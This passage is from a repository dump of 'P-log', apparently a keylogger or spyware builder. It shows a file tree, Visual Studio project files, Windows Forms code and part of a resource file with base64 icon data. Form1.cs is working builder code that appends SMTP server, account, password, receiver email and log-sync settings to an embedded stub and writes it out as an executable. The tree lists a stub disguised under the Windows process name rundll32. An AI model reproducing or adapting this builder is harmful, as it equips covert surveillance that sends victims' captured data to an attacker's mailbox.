├── Builder ├── P-log.sln ├── P-log.suo └── P-log │ ├── Form1.Designer.cs │ ├── Form1.cs │ ├── Form1.resx │ ├── P-log.csproj │ ├── Program.cs │ ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings │ ├── Resources │ └── stub.bin │ └── icons8-Spyware-50.ico ├── README.md └── Stub ├── rundll32.sln └── rundll32 ├── App.config ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── rundll32.csproj ├── rundll32.csproj.user ├── rundll32.sln └── rundll32.suo /Builder/P-log.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual Studio 2010 4 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "P-log", "P-log\P-log.csproj", "{82666396-57E2-4A96-AA33-621493B9EFDF}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|x86 = Debug|x86 9 | Release|x86 = Release|x86 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {82666396-57E2-4A96-AA33-621493B9EFDF}.Debug|x86.ActiveCfg = Debug|x86 13 | {82666396-57E2-4A96-AA33-621493B9EFDF}.Debug|x86.Build.0 = Debug|x86 14 | {82666396-57E2-4A96-AA33-621493B9EFDF}.Release|x86.ActiveCfg = Release|x86 15 | {82666396-57E2-4A96-AA33-621493B9EFDF}.Release|x86.Build.0 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Builder/P-log.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParsingTeam/Plog/40aa53f95b251ab3b95fe0e721cbe5ac752d00db/Builder/P-log.suo -------------------------------------------------------------------------------- /Builder/P-log/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace P_log 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); 32 | this.button2 = new System.Windows.Forms.Button(); 33 | this.label1 = new System.Windows.Forms.Label(); 34 | this.textBox3 = new System.Windows.Forms.TextBox(); 35 | this.textBox1 = new System.Windows.Forms.TextBox(); 36 | this.label4 = new System.Windows.Forms.Label(); 37 | this.label2 = new System.Windows.Forms.Label(); 38 | this.textBox2 = new System.Windows.Forms.TextBox(); 39 | this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); 40 | this.button1 = new System.Windows.Forms.Button(); 41 | this.label3 = new System.Windows.Forms.Label(); 42 | this.textBox4 = new System.Windows.Forms.TextBox(); 43 | this.label5 = new System.Windows.Forms.Label(); 44 | this.label6 = new System.Windows.Forms.Label(); 45 | this.numericUpDown2 = new System.Windows.Forms.NumericUpDown(); 46 | this.label7 = new System.Windows.Forms.Label(); 47 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); 48 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit(); 49 | this.SuspendLayout(); 50 | // 51 | // button2 52 | // 53 | this.button2.ForeColor = System.Drawing.SystemColors.ControlText; 54 | this.button2.Location = new System.Drawing.Point(15, 305); 55 | this.button2.Name = "button2"; 56 | this.button2.Size = new System.Drawing.Size(161, 38); 57 | this.button2.TabIndex = 19; 58 | this.button2.Text = "About"; 59 | this.button2.UseVisualStyleBackColor = true; 60 | this.button2.Click += new System.EventHandler(this.button2_Click); 61 | // 62 | // label1 63 | // 64 | this.label1.AutoSize = true; 65 | this.label1.ForeColor = System.Drawing.SystemColors.Control; 66 | this.label1.Location = new System.Drawing.Point(12, 21); 67 | this.label1.Name = "label1"; 68 | this.label1.Size = new System.Drawing.Size(71, 13); 69 | this.label1.TabIndex = 11; 70 | this.label1.Text = "SMTP Server"; 71 | // 72 | // textBox3 73 | // 74 | this.textBox3.Location = new System.Drawing.Point(15, 126); 75 | this.textBox3.Name = "textBox3"; 76 | this.textBox3.Size = new System.Drawing.Size(161, 20); 77 | this.textBox3.TabIndex = 16; 78 | // 79 | // textBox1 80 | // 81 | this.textBox1.Location = new System.Drawing.Point(15, 37); 82 | this.textBox1.Name = "textBox1"; 83 | this.textBox1.Size = new System.Drawing.Size(161, 20); 84 | this.textBox1.TabIndex = 12; 85 | this.textBox1.Text = "smtp.gmail.com"; 86 | // 87 | // label4 88 | // 89 | this.label4.AutoSize = true; 90 | this.label4.ForeColor = System.Drawing.SystemColors.Control; 91 | this.label4.Location = new System.Drawing.Point(182, 21); 92 | this.label4.Name = "label4"; 93 | this.label4.Size = new System.Drawing.Size(26, 13); 94 | this.label4.TabIndex = 18; 95 | this.label4.Text = "Port"; 96 | // 97 | // label2 98 | // 99 | this.label2.AutoSize = true; 100 | this.label2.ForeColor = System.Drawing.SystemColors.Control; 101 | this.label2.Location = new System.Drawing.Point(12, 66); 102 | this.label2.Name = "label2"; 103 | this.label2.Size = new System.Drawing.Size(47, 13); 104 | this.label2.TabIndex = 13; 105 | this.label2.Text = "Account"; 106 | // 107 | // textBox2 108 | // 109 | this.textBox2.Location = new System.Drawing.Point(15, 82); 110 | this.textBox2.Name = "textBox2"; 111 | this.textBox2.Size = new System.Drawing.Size(161, 20); 112 | this.textBox2.TabIndex = 14; 113 | // 114 | // numericUpDown1 115 | // 116 | this.numericUpDown1.Location = new System.Drawing.Point(185, 37); 117 | this.numericUpDown1.Name = "numericUpDown1"; 118 | this.numericUpDown1.Size = new System.Drawing.Size(42, 20); 119 | this.numericUpDown1.TabIndex = 17; 120 | this.numericUpDown1.Value = new decimal(new int[] { 121 | 25, 122 | 0, 123 | 0, 124 | 0}); 125 | // 126 | // button1 127 | // 128 | this.button1.ForeColor = System.Drawing.SystemColors.ControlText; 129 | this.button1.Location = new System.Drawing.Point(15, 260); 130 | this.button1.Name = "button1"; 131 | this.button1.Size = new System.Drawing.Size(161, 38); 132 | this.button1.TabIndex = 10; 133 | this.button1.Text = "Build"; 134 | this.button1.UseVisualStyleBackColor = true; 135 | this.button1.Click += new System.EventHandler(this.button1_Click); 136 | // 137 | // label3 138 | // 139 | this.label3.AutoSize = true; 140 | this.label3.ForeColor = System.Drawing.SystemColors.Control; 141 | this.label3.Location = new System.Drawing.Point(12, 111); 142 | this.label3.Name = "label3"; 143 | this.label3.Size = new System.Drawing.Size(53, 13); 144 | this.label3.TabIndex = 15; 145 | this.label3.Text = "Password"; 146 | // 147 | // textBox4 148 | // 149 | this.textBox4.Location = new System.Drawing.Point(15, 174); 150 | this.textBox4.Name = "textBox4"; 151 | this.textBox4.Size = new System.Drawing.Size(161, 20); 152 | this.textBox4.TabIndex = 21; 153 | // 154 | // label5 155 | // 156 | this.label5.AutoSize = true; 157 | this.label5.ForeColor = System.Drawing.SystemColors.Control; 158 | this.label5.Location = new System.Drawing.Point(12, 158); 159 | this.label5.Name = "label5"; 160 | this.label5.Size = new System.Drawing.Size(71, 13); 161 | this.label5.TabIndex = 20; 162 | this.label5.Text = "Resiver Email"; 163 | // 164 | // label6 165 | // 166 | this.label6.AutoSize = true; 167 | this.label6.ForeColor = System.Drawing.SystemColors.Control; 168 | this.label6.Location = new System.Drawing.Point(12, 207); 169 | this.label6.Name = "label6"; 170 | this.label6.Size = new System.Drawing.Size(61, 13); 171 | this.label6.TabIndex = 22; 172 | this.label6.Text = "Sync Every"; 173 | // 174 | // numericUpDown2 175 | // 176 | this.numericUpDown2.Location = new System.Drawing.Point(15, 223); 177 | this.numericUpDown2.Maximum = new decimal(new int[] { 178 | 1215752192, 179 | 23, 180 | 0, 181 | 0}); 182 | this.numericUpDown2.Minimum = new decimal(new int[] { 183 | 100, 184 | 0, 185 | 0, 186 | 0}); 187 | this.numericUpDown2.Name = "numericUpDown2"; 188 | this.numericUpDown2.Size = new System.Drawing.Size(130, 20); 189 | this.numericUpDown2.TabIndex = 23; 190 | this.numericUpDown2.Value = new decimal(new int[] { 191 | 1000, 192 | 0, 193 | 0, 194 | 0}); 195 | this.numericUpDown2.ValueChanged += new System.EventHandler(this.numericUpDown2_ValueChanged); 196 | // 197 | // label7 198 | // 199 | this.label7.AutoSize = true; 200 | this.label7.ForeColor = System.Drawing.SystemColors.Control; 201 | this.label7.Location = new System.Drawing.Point(151, 225); 202 | this.label7.Name = "label7"; 203 | this.label7.Size = new System.Drawing.Size(25, 13); 204 | this.label7.TabIndex = 24; 205 | this.label7.Text = "Log"; 206 | // 207 | // Form1 208 | // 209 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 210 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 211 | this.AutoSizeMode = System.Windows.Forms.AutoSizeMode.GrowAndShrink; 212 | this.BackColor = System.Drawing.Color.DarkSlateBlue; 213 | this.ClientSize = new System.Drawing.Size(241, 358); 214 | this.Controls.Add(this.label7); 215 | this.Controls.Add(this.numericUpDown2); 216 | this.Controls.Add(this.label6); 217 | this.Controls.Add(this.textBox4); 218 | this.Controls.Add(this.label5); 219 | this.Controls.Add(this.button2); 220 | this.Controls.Add(this.label1); 221 | this.Controls.Add(this.textBox3); 222 | this.Controls.Add(this.textBox1); 223 | this.Controls.Add(this.label4); 224 | this.Controls.Add(this.label2); 225 | this.Controls.Add(this.textBox2); 226 | this.Controls.Add(this.numericUpDown1); 227 | this.Controls.Add(this.button1); 228 | this.Controls.Add(this.label3); 229 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 230 | this.MaximizeBox = false; 231 | this.MinimizeBox = false; 232 | this.Name = "Form1"; 233 | this.Opacity = 0.9D; 234 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 235 | this.Text = "P-log"; 236 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); 237 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); 238 | this.ResumeLayout(false); 239 | this.PerformLayout(); 240 | 241 | } 242 | 243 | #endregion 244 | 245 | private System.Windows.Forms.Button button2; 246 | private System.Windows.Forms.Label label1; 247 | private System.Windows.Forms.TextBox textBox3; 248 | private System.Windows.Forms.TextBox textBox1; 249 | private System.Windows.Forms.Label label4; 250 | private System.Windows.Forms.Label label2; 251 | private System.Windows.Forms.TextBox textBox2; 252 | private System.Windows.Forms.NumericUpDown numericUpDown1; 253 | private System.Windows.Forms.Button button1; 254 | private System.Windows.Forms.Label label3; 255 | private System.Windows.Forms.TextBox textBox4; 256 | private System.Windows.Forms.Label label5; 257 | private System.Windows.Forms.Label label6; 258 | private System.Windows.Forms.NumericUpDown numericUpDown2; 259 | private System.Windows.Forms.Label label7; 260 | 261 | } 262 | } 263 | 264 | -------------------------------------------------------------------------------- /Builder/P-log/Form1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Data; 5 | using System.Drawing; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace P_log 10 | { 11 | public partial class Form1 : Form 12 | { 13 | public Form1() 14 | { 15 | InitializeComponent(); 16 | } 17 | 18 | private void button1_Click(object sender, EventArgs e) 19 | { 20 | if (textBox1.Text.Length !=0 && textBox2.Text.Length !=0 && textBox3.Text.Length !=0 && textBox4.Text.Length !=0 && numericUpDown1.Value.ToString().Length !=1 && numericUpDown2.Value.ToString().Length !=1 ) 21 | { 22 | string Char = ","; 23 | string Config = textBox1.Text + Char + numericUpDown1.Value.ToString() + Char + textBox2.Text + Char + textBox3.Text + Char + textBox4.Text + Char + numericUpDown2.Value.ToString(); 24 | byte[] ConfigByte = Encoding.UTF8.GetBytes(Config); 25 | byte[] Trim = new Byte[512 - ConfigByte.Length]; 26 | ConfigByte = Combine(ConfigByte, Trim); 27 | byte[] Stub = (Properties.Resources.stub); 28 | Stub = Combine(Stub, ConfigByte); 29 | try 30 | { 31 | SaveFileDialog Save = new SaveFileDialog(); 32 | Save.Filter = "Excutable|*.exe|All files|*.*"; 33 | Save.ShowDialog(); 34 | System.IO.File.WriteAllBytes(Save.FileName.ToString(), Stub); 35 | System.IO.FileInfo File = new System.IO.FileInfo(Save.FileName.ToString()); 36 | MessageBox.Show("The \""+File.Name.ToString() + "\" Build Succeeded !", "", MessageBoxButtons.OK, MessageBoxIcon.Information); 37 | } 38 | catch (Exception) 39 | { } 40 | } 41 | else 42 | { 43 | MessageBox.Show("Please enter the parameters correctly !", "", MessageBoxButtons.OK, MessageBoxIcon.Error); 44 | } 45 | 46 | 47 | } 48 | private static byte[] Combine(byte[] a123, byte[] b123) 49 | { 50 | byte[] c123 = new byte[a123.Length + b123.Length]; 51 | Buffer.BlockCopy(a123, 0, c123, 0, a123.Length); 52 | Buffer.BlockCopy(b123, 0, c123, a123.Length, b123.Length); 53 | return c123; 54 | } 55 | 56 | private void button2_Click(object sender, EventArgs e) 57 | { 58 | MessageBox.Show("Creator : Shadow | Telegram : @ParsingTeam"); 59 | } 60 | 61 | private void numericUpDown2_ValueChanged(object sender, EventArgs e) 62 | { 63 | if (numericUpDown2.Value > 10000000000) 64 | { 65 | numericUpDown2.Value = 10000000000; 66 | } 67 | } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /Builder/P-log/Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | AAABAAEAMjIAAAEAIADIKAAAFgAAACgAAAAyAAAAZAAAAAEAIAAAAAAAECcAAAAAAAAAAAAAAAAAAAAA 124 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 125 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 126 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 127 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 128 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 129 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 130 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 131 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 132 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 133 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 134 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 135 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 136 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 137 | AABMQDZoSUIzIwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 138 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 139 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 140 | AAAAAAAAAAAAAAAAAAAAAAAATEA1b01ANv9LPjRiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 141 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 142 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 143 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtANHBNQDb/S0A0cAAAAAAAAAAAAAAAAAAA 144 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 145 | AACPgGAQj3hkQI94ZEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 146 | AAAAAAAAAAAAAI94ZECPeGRAj4BgEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLQDRwTUA2/0tA 147 | NHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 148 | AAAAAAAAAAAAAAAAAACPemUwjnlm5I95Zv+PeWb/j3lm/495ZvWPeGaAj4BgEAAAAAAAAAAAAAAAAAAA 149 | AAAAAAAAAAAAAAAAAAAAAAAAj4BgEI94ZoCPeWb1j3lm/495Zv+PeWb/j3hm1o96ZTAAAAAAAAAAAAAA 150 | AAAAAAAAS0A0cE1ANv9LQDRwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 151 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj3lmUI95Zv+chXD5q5V9/7Kcg/+vmoD/pI94/5N8 152 | aPePeWbmj3hkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI94ZECPeWbmk3xo96SPeP+vmoD/spyD/6uV 153 | ff+chXD5j3lm/494ZEAAAAAAAAAAAEtANHBNQDb/S0A0cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 154 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAI94aCCOeGb0oYp0/7Kc 155 | g/+ynIP/spyD/7Kcg/+ynIP/r5qA/56Icv+PeWb/jnlltY95ZlAAAAAAAAAAAI95ZlCOeWW1j3lm/56I 156 | cv+vmoD/spyD/7Kcg/+ynIP/spyD/7Kcg/+hinT/jnhm9I+AYBBLQDRwTUA2/0tANHAAAAAAAAAAAAAA 157 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 158 | AAAAAAAAjnlmoJR/a/mynIP/spyD/3hoV/9TRTr/ZldI/5iFb/+ynIP/spyD/6mTe/+ZhG76j3lm/495 159 | Zv+PeWb/j3lm/5mEbvqrlX3/spyD/7Kcg/+YhW//ZldI/1NFOv94aFf/spyD/7Kcg/+UfWr6Z1dJwU1A 160 | Nv9LQDRwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 161 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAI+AYBCPeGf2pY53/7Kcg/+MeWX/TUA2/01ANv9NQDb/TUA2/39u 162 | XP+ynIP/spyD/7Kcg/+ynIP/qZN7/6mTe/+ynIP/spyD/7Kcg/+ynIP/f25c/01ANv9NQDb/TUA2/01A 163 | Nv+MeWX/spyD/35sWv9NQDb/UEY3eQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 164 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj3lmUJF6ZvqynIP/spyD/19R 165 | RP9NQDb/TUA2/01ANv9NQDb/TUA2/3JiUv+ynIP/spyD/7Kcg/+ynIP/spyD/7Kcg/+ynIP/spyD/3Ji 166 | Uv9NQDb/TUA2/01ANv9NQDb/TUA2/19RRP+FdGH/TUA2/3FgUP+PeWZQAAAAAAAAAAAAAAAAAAAAAAAA 167 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 168 | AACOeGWQmIJu+7Kcg/+einT/TUA2/01ANv9NQDb/TUA2/01ANv9NQDb/TUA2/3liXf+ojoH/rpKF/66S 169 | hf+ukoX/rpKF/6iOgf95Yl3/TUA2/01ANv9NQDb/TUA2/01ANv9NQDb/TEA1/01ANv+FdGH/mIJu+454 170 | ZZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 171 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAI96ZsihinT/sZmE/5F4b/93WmH/f2Fo/5JufP+ZcoP/oXWL/6F1 172 | i/+hdYv/oXWL/6F1i/+hdYv/oXWL/6F1i/+hdYv/oXWL/6F1i/+hdYv/oXWL/6F1i/+ZcoP/k258/2hT 173 | Uv9NQDb/c2BV/7GZhP+hinT/j3pmyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 174 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ9wjxCidYpgmnZ9/6N5iv+hdYv/oXWL/6uD 175 | lf+6k6T/yqW0/8qltP/Zt8P/3r7I/96+yP/oydL/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/6MnS/96+ 176 | yP/evsj/2bfD/8qltP+TeXz/TUA2/4Fma/+hdYv/oXWL/6N5iv+Zdn37onWKYJ9wjxAAAAAAAAAAAAAA 177 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn3CPEKJ1imCidYvToXWL/6N4 178 | jfm2j6D/z6y5/96+yP/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 179 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/qZST/01ANv+plJP/8tXc//LV3P/evsj/z6y5/7aP 180 | oP+jeI35oXWL/6J1i9OidYpgn3CPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn3CPEKF0 181 | i4CidovzpHmO+b6YqP3evsj/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 182 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc/6mUk/9NQDb/qZST//LV 183 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/evsj/vpmo/KN4jvmidovzoXSLgJ9wjxAAAAAAAAAAAAAA 184 | AAAAAAAAAAAAAJ92iVChdovyqH6S9tSxvv/tz9f/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 185 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 186 | 3P+plJP/TUA2/6mUk//y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/7c/X/9Sx 187 | vv+ofZL2oXaL8p92iVAAAAAAAAAAAAAAAACidYpgoXWL/8qltP/tz9f/8tXc//LV3P/y1dz/8tXc//LV 188 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 189 | 3P/y1dz/8tXc//LV3P/y1dz/qZST/01ANv+plJP/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 190 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc/+3P1//KpbT/oXWL/6J1imAAAAAAn3aJUKF1i//Usb7/8tXc//LV 191 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/4sPM/9Sxvf/KpLT/upKk/7WN 192 | n/+1jZ//oXWL/6F1i/+hdYv/oXWL/6F1i/+hdYv/oXWL/3xeZf9NQDb/h2tw/7WNn//En67/z6q4/928 193 | yP/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/Usb7/oXWL/592 194 | iVCidozjxJ+u/vLV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/nydH/xJ+u/6uA 195 | lf+hdYv/qH2R/7yQoP/Hm6f/zaGs/82hrP/To6z/1KWt/9Slrf/Upa3/1KWt/9Slrf+YeXj/TUA2/5Z3 196 | eP/Noaz/zaGs/76Rof+3i5z/oXWL/6Z7j/+6kqT/3bzI//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 197 | 3P/y1dz/8tXc//LV3P+/man+oneN1KF1i//evcj/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 198 | 3P/y1dz/xJ+u/6F1i/+8kKD/0qSu/9Oiq//RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gd 199 | pf/RnaX/l3R0/01ANv+XdHT/0Z2l/9Gdpf/RnaX/0Z2l/9Gdpf/RnaX/06Wu/8aap/+hdYv/v5ip//LV 200 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc/9Sxvv+hdYv/oXWL4MOerPny1dz/8tXc//LV 201 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc/8qktP+ofZH/1KWu/9Gdpf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gd 202 | pf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/5d0dP9NQDb/l3R0/9Gdpf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gd 203 | pf/RnaX/0Z2l/9SkrP+ofZH/yqS0//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/vpen+qF2 204 | i9GfdolQoXWL/9OwvPzy1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/q4CV/9Kkrf/RnaX/0Z2l/9Gd 205 | pf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gdpf+XdHT/TUA2/5d0dP/RnaX/0Z2l/9Gd 206 | pf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Gdpf/RnaX/0Z2l/9Kkrf+rgJX/8tXc//LV3P/y1dz/8tXc//LV 207 | 3P/y1dz/8tXc/9OwvPyhdYv/n3aJUAAAAACidYpgoXWL/8eisvftz9f/8tXc//LV3P/y1dz/8tXc//LV 208 | 3P+me4//0qSt/9Gdpf/RnaX/0Z2l/9Gdpf/Xp7D/3bK6/+G5wP/qx87/6sfO/+3O1f/y1dz/qZST/01A 209 | Nv+plJP/8tXc//LV3P/tztX/6sfO/+rHzv/hucD/3bK6/9ensP/RnaX/0Z2l/9Gdpf/RnaX/0qSt/6uB 210 | lf/y1dz/8tXc//LV3P/y1dz/8tXc/+3P1//HorL3oXWL/6J1imAAAAAAAAAAAAAAAACieYxSonaM9Kh9 211 | k/fUsb7/7c/X//LV3P/y1dz/8tXc/7qSpP/Gmqf/0Z2l/9mrsv/mv8f/79HY//LV3P/y1dz/8tXc//LV 212 | 3P/y1dz/8tXc/6mUk/9NQDb/qZST//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc/+/R 213 | 2P/mv8f/16ew/9Gdpf/Gmqf/v5ip//LV3P/y1dz/8tXc/+3P1//Usb7/qH2T96J2jPSheItRAAAAAAAA 214 | 